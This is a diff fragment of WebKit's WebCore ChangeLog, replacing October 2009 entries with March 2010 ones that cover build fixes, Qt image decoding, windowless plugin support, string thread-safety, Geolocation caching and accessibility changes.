+        Fix build breakage with ENABLE_3D_CANVAS=0
+        https://bugs.webkit.org/show_bug.cgi?id=35995
 
-        Adjust CodeGeneratorV8 to treat XPathNSResolver in a special way.
-        https://bugs.webkit.org/show_bug.cgi?id=30128
+        No new tests; verified in Chromium that WebGL is disabled in
+        ENABLE_3D_CANVAS=0 builds.
 
-        * bindings/scripts/CodeGeneratorV8.pm:
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::getXPathNSResolver):
         * bindings/v8/custom/V8DocumentCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: close inspector client view on
-        InspectorController::close API call.
-
-        In order to run batch web inspector layout tests (and not affect
-        subsequent tests) we should close inspector client's view upon
-        InspectorController::close API call.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30009
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::inspectedPageDestroyed):
-        (WebCore::InspectorController::close):
-
-2009-10-06  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Fix the Qt/Windows build by stubbing out the still image
-        support for halted plugins for the Qt build.
-
-        Bugzilla entry https://bugs.webkit.org/show_bug.cgi?id=30130
-        tracks removing this by implementing Frame::nodeImage().
-
-        * plugins/win/PluginViewWin.cpp:
-        (WebCore::PluginView::halt):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
 
-2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+2010-03-11  Nate Chapin  <japhet@chromium.org>
 
-        Reviewed by Simon Hausmann.
+        Unreviewed, Chromium mac build fix.
 
-        [Qt] Change QImageReader usage in ImageDecoderQt
-        https://bugs.webkit.org/show_bug.cgi?id=27538
+        Add an explicit copy constructor to TimingFunction.
+        http://trac.webkit.org/changeset/55835 trigged an inlining
+        bug in gcc that the copy constructor resolves.
 
-        Replace the ReadContext with another appoach to
-        reading the image. Attempt to only read meta information
-        like the image size and number of frames (for animations)
-        first and then when the page is getting drawn decode
-        the image with the QImageReader.
+        * platform/animation/TimingFunction.h:
+        (WebCore::TimingFunction::TimingFunction):
 
-        This is a huge benefit on pages with many images and saves
-        ~2GB of memory on the szeged image test page.
+2010-03-11  Chris Fleizach  <cfleizach@apple.com>
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ImageDecoderQt):
-        (WebCore::ImageDecoderQt::setData):
-        (WebCore::ImageDecoderQt::isSizeAvailable):
-        (WebCore::ImageDecoderQt::frameCount):
-        (WebCore::ImageDecoderQt::repetitionCount):
-        (WebCore::ImageDecoderQt::filenameExtension):
-        (WebCore::ImageDecoderQt::frameBufferAtIndex):
-        (WebCore::ImageDecoderQt::clearFrameBufferCache):
-        (WebCore::ImageDecoderQt::internalDecodeSize):
-        (WebCore::ImageDecoderQt::internalReadImage):
-        (WebCore::ImageDecoderQt::internalHandleCurrentImage):
-        (WebCore::ImageDecoderQt::forceLoadEverything):
-        (WebCore::ImageDecoderQt::failRead):
-        * platform/graphics/qt/ImageDecoderQt.h:
-
-2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Make use of RGBA32Buffer in ImageDecoderQt
-        https://bugs.webkit.org/show_bug.cgi?id=27538
-
-        Use the RGBA32Buffer instead of the internal ImageData
-        to be able to use support of the base class, optionally
-        support WebCore decoders for Qt and most importantly
-        separate metadata and image data for better cache control.
+        Fixing GTK. No review.
 
-        Remove ImageSourceQt as everything is now shared with
-        the normal ImageSource.
+        support lang attribute on <option> elements
+        https://bugs.webkit.org/show_bug.cgi?id=36021
+ 
+        We don't need to cast to AccessibilityRenderObject to get language().
 
-        Change the ownership of the NativeImagePtr/QPixmap in
-        ImageQt.cpp to delete the m_frame to be subject to cache
-        control.
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_document_get_locale):
 
-        * WebCore.pro:
-        * platform/graphics/ImageSource.cpp:
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
-        (WebCore::ImageDecoderQt::ReadContext::read):
-        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
-        (WebCore::ImageDecoderQt::ImageDecoderQt):
-        (WebCore::ImageDecoderQt::setData):
-        (WebCore::ImageDecoderQt::frameCount):
-        (WebCore::ImageDecoderQt::frameBufferAtIndex):
-        (WebCore::ImageDecoderQt::clearFrameBufferCache):
-        * platform/graphics/qt/ImageDecoderQt.h:
-        * platform/graphics/qt/ImageSourceQt.cpp: Removed.
-        * platform/image-decoders/ImageDecoder.h:
-        (WebCore::RGBA32Buffer::decodedImage):
-        (WebCore::RGBA32Buffer::getAddr):
-        * platform/image-decoders/qt/RGBA32BufferQt.cpp: Added.
-        (WebCore::RGBA32Buffer::RGBA32Buffer):
-        (WebCore::RGBA32Buffer::setDecodedImage):
-        (WebCore::RGBA32Buffer::clear):
-        (WebCore::RGBA32Buffer::zeroFill):
-        (WebCore::RGBA32Buffer::copyBitmapData):
-        (WebCore::RGBA32Buffer::setSize):
-        (WebCore::RGBA32Buffer::asNewNativeImage):
-        (WebCore::RGBA32Buffer::hasAlpha):
-        (WebCore::RGBA32Buffer::setHasAlpha):
-        (WebCore::RGBA32Buffer::setStatus):
-        (WebCore::RGBA32Buffer::operator=):
-        (WebCore::RGBA32Buffer::width):
-        (WebCore::RGBA32Buffer::height):
+2010-03-11  Chris Fleizach  <cfleizach@apple.com>
 
-2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Simon Hausmann.
+        support lang attribute on <option> elements
+        https://bugs.webkit.org/show_bug.cgi?id=36021
 
-        [Qt] ImageDecoderQt avoid QString creation.
-        https://bugs.webkit.org/show_bug.cgi?id=27538
+        Allow non AccessibilityRenderObject classes to access the lang
+        attribute by moving the useful code into AccessibilityObject.
 
-        Avoid going from CString to QString to String
-        and go directly from CString to String. Also
-        avoid going to lower case to avoid an extra
-        memory allocation.
+        Test: platform/mac/accessibility/option-with-lang.html
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoder::create):
-        (WebCore::ImageDecoderQt::ImageDecoderQt):
-        * platform/graphics/qt/ImageDecoderQt.h:
+        * accessibility/AccessibilityListBoxOption.cpp:
+        (WebCore::AccessibilityListBoxOption::language):
+        * accessibility/AccessibilityListBoxOption.h:
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::language):
+        * accessibility/AccessibilityObject.h:
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::language):
+        * accessibility/AccessibilityRenderObject.h:
 
-2009-10-05  Holger Hans Peter Freyther  <zecke@selfish.org>
+2010-03-11  Diego Gonzalez  <diego.gonzalez@openbossa.org>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Cleanup the ImageDecoder of Qt.
-        https://bugs.webkit.org/show_bug.cgi?id=27538
-
-        Remove the various enums for partial load. The fact is
-        that this image decoder will decode everything that is
-        in the file at once. Make it look like it behaves to
-        ease fixing this core problem.
+        [Qt] Access key modifier should be Ctrl+Alt for Darwin derived OS and Alt for the others
+        https://bugs.webkit.org/show_bug.cgi?id=35993
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ImageData::ImageData):
-        (WebCore::ImageDecoderQt::ReadContext::ReadContext):
-        (WebCore::ImageDecoderQt::ReadContext::read):
-        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
-        (WebCore::ImageDecoderQt::hasFirstImageHeader):
-        (WebCore::ImageDecoderQt::setData):
-        * platform/graphics/qt/ImageDecoderQt.h:
-
-2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Reimplement instead of overload frameCount in ImageDecoderQt.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=27538
+        * page/qt/EventHandlerQt.cpp:
+        (WebCore::EventHandler::accessKeyModifiers):
 
-        Reimplement frameCount instead of overloading it.
+2010-03-08  Brett Wilson  <brettw@chromium.org>
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::frameCount):
-        * platform/graphics/qt/ImageDecoderQt.h:
+        Reviewed by Adam Barth.
 
-2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
+        Remove the deprecated argument to url_util::IsStandard in preparation
+        for deleting that version of the function. Pull the latest googleurl
+        with the new version for the Chromium builder.
 
-        Reviewed by Simon Hausmann.
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::isHierarchical):
 
-        [Qt] QImageReader does not support progressive reading
-        https://bugs.webkit.org/show_bug.cgi?id=27538
+2010-03-11  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Change the ImageDecoderQt::setData to store the encoded
-        data in ImageDecoder.
+        Reviewed by Tor Arne Vestbø.
 
-        Only call ReadContext when the whole Resource has been
-        loaded to avoid needless calls to reset and the
-        ReadContext as progressive loading is not supported.
+        [Qt] Make it possible to do builds with separate debug info in packages
 
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::setData):
-        * platform/graphics/qt/ImageDecoderQt.h:
+        * WebCore.pro:
 
-2009-10-04  Holger Hans Peter Freyther  <zecke@selfish.org>
+2010-03-11  Simon Hausmann  <simon.hausmann@nokia.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Tor Arne Vestbø.
 
-        [Qt] Remove dead code from ImageDecoderQt
-        https://bugs.webkit.org/show_bug.cgi?id=27538
+        [Qt] Avoid double-buffering with Qt image decoders
 
-        Remove unused variables and debugging code. The debug
-        code has never been used and does not provide anything
-        useful.
+        Pass QIODevice::Unbuffered when opening the QBuffer that
+        wraps the image data, to hint to Qt that no extra buffering
+        is needed.
 
         * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::ReadContext::read):
-        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
         (WebCore::ImageDecoderQt::setData):
-        (WebCore::ImageDecoderQt::isSizeAvailable):
-        (WebCore::ImageDecoderQt::frameCount):
-        (WebCore::ImageDecoderQt::repetitionCount):
-        (WebCore::ImageDecoderQt::filenameExtension):
-        (WebCore::ImageDecoderQt::imageAtIndex):
 
-2009-10-06  Philippe Normand  <pnormand@igalia.com>
+2010-03-10  Ben Murdoch  <benm@google.com>
 
-        Reviewed by Xan Lopez.
-
-        [GTK] segfault when calling gst_video_format_parse_caps in the video sink
-        https://bugs.webkit.org/show_bug.cgi?id=30120
-
-        Fix use of gst_video_format_parse_caps()
+        Reviewed by Jeremy Orlow.
 
-        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
-        (webkit_video_sink_idle_func):
-
-2009-10-06  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
-
-        Reviewed by Simon Hausmann.
+        [Android] The platform touch events on Android are missing support
+        for key modifiers.
+        https://bugs.webkit.org/show_bug.cgi?id=35521
 
-        [Qt] Update mediaControls CSS
+        Add support in PlatformToucHEventAndroid for the platform supplying
+        key modifiers with touch events.
 
-        * css/mediaControlsQt.css:
+        Fixes Android so it now passes basic-single-touch-events.html.
 
-2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Get rid of Preferences.ignoreWhitespace.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30092
-
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMAgent):
-        (WebInspector.DOMAgent.prototype._childNodeCountUpdated):
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.update):
-        (WebInspector.ElementsTreeElement):
-        (WebInspector.ElementsTreeElement.prototype.onpopulate):
-        (WebInspector.ElementsTreeElement.prototype._updateChildren.updateChildrenOfNode):
-        (WebInspector.ElementsTreeElement.prototype._updateChildren):
-        * inspector/front-end/TextPrompt.js:
-        (WebInspector.TextPrompt.prototype.isCaretAtEndOfPrompt):
-        * inspector/front-end/inspector.js:
-        * inspector/front-end/utilities.js:
-        (Node.prototype.rangeOfWord):
-        (traverseNextNode):
-        (traversePreviousNode):
-        (onlyTextChild):
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleTouchEvent): Fix two compiler warnings.
+        * platform/PlatformTouchEvent.h:
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent): Add support for
+            key modifiers on Android.
+        * platform/android/PlatformTouchEventAndroid.cpp:
+        (WebCore::PlatformTouchEvent::PlatformTouchEvent): ditto.
 
-2009-10-06  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-10  Steve Block  <steveblock@google.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Jeremy Orlow.
 
-        Web Inspector: Do not call nodeTitleInfo twice +
-        followup fixes for r49101.
+        Implements Geolocation maximumAge property
+        https://bugs.webkit.org/show_bug.cgi?id=30676
 
-        https://bugs.webkit.org/show_bug.cgi?id=30087
+        Test: fast/dom/Geolocation/maximum-age.html
 
-        * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeElement):
+        * WebCore.xcodeproj/project.pbxproj: Modified. Adds GeolocationPositionCache.h to Private headers
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::GeoNotifier::setUseCachedPosition): Added.
+        (WebCore::Geolocation::GeoNotifier::runSuccessCallback): Added.
+        (WebCore::Geolocation::GeoNotifier::timerFired): Modified. Added logic to handle using a cached position
+        (WebCore::Geolocation::Watchers::contains): Added. Required to determine if a notifier is a watch request
+        (WebCore::Geolocation::startRequest): Modified. Added logic to check for a cached position
+        (WebCore::Geolocation::requestUsesCachedPosition): Added. Callback to Geolocation object when notifier uses a cached position
+        (WebCore::Geolocation::makeCachedPositionCallbacks): Added.
+        (WebCore::Geolocation::haveSuitableCachedPosition): Added.
+        (WebCore::Geolocation::setIsAllowed): Modified.
+        (WebCore::Geolocation::positionChanged): Modified. Make callbacks using cached position where appropriate
+        (WebCore::Geolocation::geolocationServiceErrorOccurred): Modified. Make callbacks using cached position where appropriate
+        * page/Geolocation.h: Modified.
 
-2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-11  Csaba Osztrogonác  <ossy@webkit.org>
 
-        Reviewed by Simon Hausmann.
+        Unreviewed buildfix after r55823. (To fix Qt --minimal build.)
+        I have déjà vu, I'm sure that I did it before. (r55598)
 
-        [Qt] Windowless plugins: Enable painting on printer.
+        * bindings/js/JSDOMWindowCustom.cpp: Missing #if ENABLE(DATABASE) guard added. 
 
-        The print preview dialog crashed because the depth of the drawable
-        changed owing to a bug in Qt - if you draw onto a 32-bit pixmap,
-        and set a 24-bit pixmap as source, it will convert the source to
-        32-bit.
+2010-03-11  Csaba Osztrogonác  <ossy@webkit.org>
 
-        1210fa5b2d65895ad2be1f9ca7cae586e3b29dc1 is the bug fix in Qt.
+        [Qt] Unreviewed buildfix after r55833.
 
-        https://bugs.webkit.org/show_bug.cgi?id=20081
+        Rename all instances of data() to characters()
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::paint):
+        * bridge/qt/qt_class.cpp:
+        (JSC::Bindings::QtClass::fieldNamed):
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
 
-2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-11  Zoltan Horvath  <zoltan@webkit.org>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Windowless plugins: Make painting and events work when page is zoomed.
+        Allow custom memory allocation control for RenderLayerBacking class
+        https://bugs.webkit.org/show_bug.cgi?id=35857
 
-        The element gets resized when zoomed. So, we have to make sure that we resize
-        the drawable and do a setwindow call. Multiple calls to setwindow do not
-        crash plugin in windowless mode (unlike in windowed mode).
+        Inherits the following class from Noncopyable because it is
+        instantiated by 'new' and no need to be copyable:                                     
 
-        For mouse events we have to convert the pos to post-zoom position.
+        class name    - instantiated at: WebCore/'location'
+        RenderLayerBacking - rendering/RenderLayer.cpp:3047
 
-        https://bugs.webkit.org/show_bug.cgi?id=20081
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::setXButtonEventSpecificFields):
-        (WebCore::setXMotionEventSpecificFields):
-        (WebCore::setXCrossingEventSpecificFields):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::setNPWindowIfNeeded):
+        * rendering/RenderLayerBacking.h:
 
-2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-11  Zoltan Horvath  <zoltan@webkit.org>
 
         Reviewed by Simon Hausmann.
 
-        [Qt] Windowless plugins: Add PluginQuirkRequiresDefaultScreenDepth quirk for Flash.
+        Allow custom memory allocation control for TimingFunction struct
+        https://bugs.webkit.org/show_bug.cgi?id=35855
 
-        Flash does not use the visual provided by us to draw into the drawable.
-        It instead uses the system default visual (as returned by XDefaultVisual).
-        This means that if the screen default visual is 24-bit, Flash won't be
-        able to draw on 32-bit drawable created by us. This is a bug in Flash
-        and for the moment, the above quirk is only set for Flash.
+        Inherits the following struct from FastAllocBase because it is 
+        instantiated by 'new':
 
-        Our strategy to create the drawable:
-        1. Create a 32-bit drawable if the default screen depth is 32 or the
-        quirk is not set (i.e not flash)
-        2. If we didn't create a 32-bit drawable (maybe the Display has no such
-        visual), we create a drawable with default screen depth.
+        class name    - instantiated at: WebCore/'location'
+        TimingFuction - platform/graphics/GraphicsLayer.h:89
 
-        As a result of the above changes, content propagation behavior changes as:
-        1. Content propagation is possible only if the drawable we create and
-        Qt's backing store are of the same depth.
-        2. If we created a 32-bit drawable, there is no need for content
-        propagation (Qt will take care of it).
+        * platform/animation/TimingFunction.h:
 
-        https://bugs.webkit.org/show_bug.cgi?id=20081
+2010-03-10  Gavin Barraclough  <barraclough@apple.com>
 
-        * plugins/PluginPackage.cpp:
-        (WebCore::PluginPackage::determineQuirks):
-        * plugins/PluginQuirkSet.h:
-        (WebCore::):
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-        * plugins/PluginView.h:
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::paint):
-        (WebCore::getVisualAndColormap):
-        (WebCore::PluginView::platformStart):
-        (WebCore::PluginView::platformDestroy):
-
-2009-10-06  Fumitoshi Ukai  <ukai@chromium.org>
+        Rubber stamped by Oliver Hunt.
+        
+        Rename JSC::UStringImpl::data() to characters(), to match WebCore::StringImpl.
 
-        Reviewed by Ariya Hidayat.
+        * bridge/jni/jsc/JavaStringJSC.h:
+        (JSC::Bindings::JavaStringImpl::uchars):
+        * platform/text/AtomicString.cpp:
+        (WebCore::AtomicString::add):
+        (WebCore::AtomicString::find):
 
-        Qt build fix.
-        https://bugs.webkit.org/show_bug.cgi?id=29362.
+2010-03-10  Gavin Barraclough  <barraclough@apple.com>
 
-        In Qt 4.5, a new function QPainter::fillRect(QRect, QColor) is
-        introduced to avoid the expensive construction of QBrush.
-        By casting WebCore::Color to QColor, we can compile on Qt 4.4
-        and use optimization for solid color fill in Qt 4.5.
+        Reviewed by Mark Rowe.
 
-        * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::drawRect):
-        (WebCore::GraphicsContext::drawLine):
-        (WebCore::drawBorderlessRectShadow):
+        Fix for r55825, threadsafeCopy no longer needs to special-case for
+        empty strings (in fact, doing so results in leaks).
 
-2009-10-05  Andrei Popescu  <andreip@google.com>
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::threadsafeCopy):
 
-        Reviewed by Eric Carlson.
+2010-03-10  Chang Shu  <chang.shu@nokia.com>
 
-        Allow the platform media player to know the <video> poster URL.
-        Add MediaPlayerPrivate::prepareToPlay() to support media engines
-        that do not buffer video data automatically. This method allows
-        such media engines to start the buffering just before starting
-        playback.
-        https://bugs.webkit.org/show_bug.cgi?id=29133
+        Reviewed by Darin Adler.
 
-        All platforms that currently implement <video> return false
-        in MediaPlayerPrivate::canLoadPoster() and do nothing in
-        MediaPlayerPrivate::prepareToPlay() their behavior is
-        unchanged. The current set of media test should then be
-        sufficient to guarantee that this patch does not break anything.
+        While calculating alpha channel, convert the floating point value to
+        an integer in [0, 256) with equal distribution.
+        https://bugs.webkit.org/show_bug.cgi?id=22150
 
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::loadResource):
-        After the MediaPlayer is created, inform it what the poster URL is.
-        (WebCore::HTMLMediaElement::updatePlayState):
-        Add another case where prepareToPlay is called for the platforms
-        that do not buffer video content automatically.
-        (WebCore::HTMLMediaElement::couldPlayIfEnoughData)
-        Same as potentiallyPlaying, except that we don't check for
-        the readyState being at least HAVE_FUTURE_DATA.
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::NullMediaPlayerPrivate::canLoadPoster):
-        Empty implementation for the NullMediaPlayerPrivate.
-        (WebCore::NullMediaPlayerPrivate::setPoster):
-        Empty implementation for the NullMediaPlayerPrivate.
-        (WebCore::MediaPlayer::canLoadPoster):
-        Proxy to the m_private.
-        (WebCore::MediaPlayer::setPoster):
-        Proxy to m_private.
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::canLoadPoster):
-        (WebCore::MediaPlayerPrivateInterface::setPoster):
-        Add new methods that allow the platform player to receive the poster URL.
-        (WebCore::MediaPlayerPrivateInterface::prepareToPlay):
-        Notifies the media engine that playback should start. The media engine
-        should start preparing (e.g. by initializing the player and starting to buffer)
-        and call back when the state is changed to HAVE_FUTURE_DATA.
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseColorParameters):
 
-2009-10-06  David Levin  <levin@chromium.org>
+2010-03-10  Gavin Barraclough  <barraclough@apple.com>
 
-        Reviewed by Oliver Hunt.
+        Reviewed by Darin Adler, Geoffrey Garen, Maciej Stachowiak.
 
-        StringImpl needs a method to get an instance for another thread which doesn't copy the underlying buffer.
-        https://bugs.webkit.org/show_bug.cgi?id=30095
+        https://bugs.webkit.org/show_bug.cgi?id=35991
+        Would be faster to not use a thread specific to implement StringImpl::empty()
 
-        All String::copy methods were changed to call either threadsafeCopy or crossThreadString. The method
-        call was made threadsafeCopy unless I could show that threadsafety wasn't needed.
+        Copy JavaScriptCore in making 'static' strings threadsafe, make the empty string a static,
+        shared by all threads.
 
-        No visible change in functionality so no new tests.
+        ~2% progression on Dromaeo DOM core & JS lib tests.
 
-        * dom/MessagePortChannel.cpp:
-        (WebCore::MessagePortChannel::EventData::EventData):
-        * loader/WorkerThreadableLoader.cpp:
-        (WebCore::WorkerThreadableLoader::MainThreadBridge::MainThreadBridge):
-        * loader/icon/IconDatabase.cpp:
-        (WebCore::IconDatabase::open):
-        (WebCore::IconDatabase::iconForPageURL):
-        (WebCore::IconDatabase::iconURLForPageURL):
-        (WebCore::IconDatabase::retainIconForPageURL):
-        (WebCore::IconDatabase::releaseIconForPageURL):
-        (WebCore::IconDatabase::setIconDataForIconURL):
-        (WebCore::IconDatabase::setIconURLForPageURL):
-        (WebCore::IconDatabase::databasePath):
-        (WebCore::IconDatabase::defaultDatabaseFilename):
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::SecurityOrigin): Since this is used by SecurityOrigin::threadsafeCopy,
-        it makes threadsafe calls.
-        (WebCore::SecurityOrigin::threadsafeCopy): The only place that called this
-        needed a threadsafe method.
-        * page/SecurityOrigin.h:
-        * platform/CrossThreadCopier.cpp:
-        (WebCore::::copy):
-        * platform/KURL.cpp:
-        (WebCore::KURL::copy):
-        * platform/network/HTTPHeaderMap.cpp:
-        (WebCore::HTTPHeaderMap::copyData):
-        * platform/network/ResourceErrorBase.cpp:
-        (WebCore::ResourceErrorBase::copy):
-        * platform/network/ResourceRequestBase.cpp:
-        (WebCore::ResourceRequestBase::copyData):
-        * platform/network/ResourceResponseBase.cpp:
-        (WebCore::ResourceResponseBase::copyData):
-        * platform/sql/SQLValue.cpp:
-        (WebCore::SQLValue::SQLValue):
-        (WebCore::SQLValue::string):
-        * platform/sql/SQLValue.h:
-        (WebCore::SQLValue::SQLValue):
-        All constructors now initialize the m_number which is a double. Failure to
-        do so can result in unexpected crashes when it is copied in the copy constructor.
-        See http://blogs.msdn.com/oldnewthing/archive/2008/07/02/8679191.aspx, I was that colleague.
-        * platform/text/PlatformString.h:
-        * platform/text/String.cpp:
-        (WebCore::String::threadsafeCopy):
-        (WebCore::String::crossThreadString):
+        * platform/ThreadGlobalData.cpp:
+        (WebCore::ThreadGlobalData::ThreadGlobalData):
+        (WebCore::ThreadGlobalData::~ThreadGlobalData):
+        * platform/ThreadGlobalData.h:
+        (WebCore::ThreadGlobalData::eventNames):
         * platform/text/StringImpl.cpp:
-        Removed StringImpl::substringCopy which was no longer being used anywhere.
-        (WebCore::StringImpl::threadsafeCopy): Changed the name to indicate that
-        it is threadsafe.
-        (WebCore::StringImpl::crossThreadString): The way to get strings for
-        another thread which is not threadsafe. This shares the underlying buffer
-        with both strings and gives them a way to do threadsafe refcounting for it.
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::empty):
         * platform/text/StringImpl.h:
-        * storage/ChangeVersionWrapper.cpp:
-        (WebCore::ChangeVersionWrapper::ChangeVersionWrapper):
-        * storage/Database.cpp:
-        (WebCore::updateGuidVersionMap):
-        (WebCore::Database::Database):
-        (WebCore::Database::getVersionFromDatabase):
-        (WebCore::Database::setVersionInDatabase):
-        (WebCore::Database::version):
-        (WebCore::Database::setExpectedVersion):
-        (WebCore::Database::securityOriginCopy):
-        (WebCore::Database::stringIdentifier):
-        * storage/DatabaseTracker.cpp:
-        (WebCore::DatabaseTracker::scheduleNotifyDatabaseChanged):
-        * storage/OriginQuotaManager.cpp:
-        (WebCore::OriginQuotaManager::addDatabase):
-        * storage/SQLError.h:
-        (WebCore::SQLError::message):
-        (WebCore::SQLError::SQLError):
-        * storage/SQLStatement.cpp:
-        (WebCore::SQLStatement::SQLStatement):
-        * storage/StorageAreaSync.cpp:
-        (WebCore::StorageAreaSync::syncTimerFired):
-        * storage/StorageMap.cpp:
-        (WebCore::StorageMap::importItem):
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::StorageNamespaceImpl):
-        * storage/StorageSyncManager.cpp:
-        (WebCore::StorageSyncManager::StorageSyncManager):
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerProxy::url): Do the copy of the url in a way that is threadsafe.
-        (WebCore::SharedWorkerProxy::name):
-        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
-        (WebCore::DefaultSharedWorkerRepository::getProxy): Do the copy of the url in a way that is threadsafe.
-        * workers/SharedWorkerThread.cpp:
-        (WebCore::SharedWorkerThread::SharedWorkerThread):
-        * workers/WorkerMessagingProxy.cpp:
-        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
-        (WebCore::MessageWorkerTask::MessageWorkerTask):
-        (WebCore::WorkerExceptionTask::WorkerExceptionTask):
-        * workers/WorkerRunLoop.cpp:
-        (WebCore::WorkerRunLoop::Task::Task):
-        (WebCore::WorkerRunLoop::postTaskForMode):
-        * workers/WorkerThread.cpp:
-        (WebCore::WorkerThreadStartupData::WorkerThreadStartupData):
-
-2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Windowless plugins: Use X Pixmap instead of QPixmap.
-
-        This has the following advantages:
-        1. Allows more sharing of code between gtk and Qt ports in the future
-        2. QPixmap creates 24-bit by default. We have to later 'upgrade' it to 32-bit.
-        3. QPixmap may sometime change depth behind our back! This will require us to
-        update the plugin about the new visual and colormap.
-        4. We cannot ensure that QPixmap is backed by a X Drawable. For example, with
-        -graphicssystem raster, QPixmap uses the raster (image) backend.
-
-        https://bugs.webkit.org/show_bug.cgi?id=20081
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::PluginView):
-        * plugins/PluginView.h:
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::paint):
-        (WebCore::PluginView::platformDestroy):
-
-2009-10-06  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Add support for windowless NPAPI plugins
-
-        https://bugs.webkit.org/show_bug.cgi?id=20081
-
-        * plugins/PluginView.cpp:
-        (WebCore::PluginView::setFrameRect):
-        (WebCore::PluginView::handleEvent):
-        (WebCore::PluginView::PluginView):
-        * plugins/PluginView.h:
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::paint):
-        (WebCore::PluginView::dispatchNPEvent):
-        (WebCore::setSharedXEventFields):
-        (WebCore::PluginView::initXEvent):
-        (WebCore::setXKeyEventSpecificFields):
-        (WebCore::PluginView::handleKeyboardEvent):
-        (WebCore::inputEventState):
-        (WebCore::setXButtonEventSpecificFields):
-        (WebCore::setXMotionEventSpecificFields):
-        (WebCore::setXCrossingEventSpecificFields):
-        (WebCore::PluginView::handleMouseEvent):
-        (WebCore::PluginView::handleFocusInEvent):
-        (WebCore::PluginView::handleFocusOutEvent):
-        (WebCore::PluginView::setNPWindowRect):
-        (WebCore::PluginView::setNPWindowIfNeeded):
-        (WebCore::PluginView::getValueStatic):
-        (WebCore::PluginView::invalidateRect):
-        (WebCore::PluginView::invalidateRegion):
-        (WebCore::PluginView::forceRedraw):
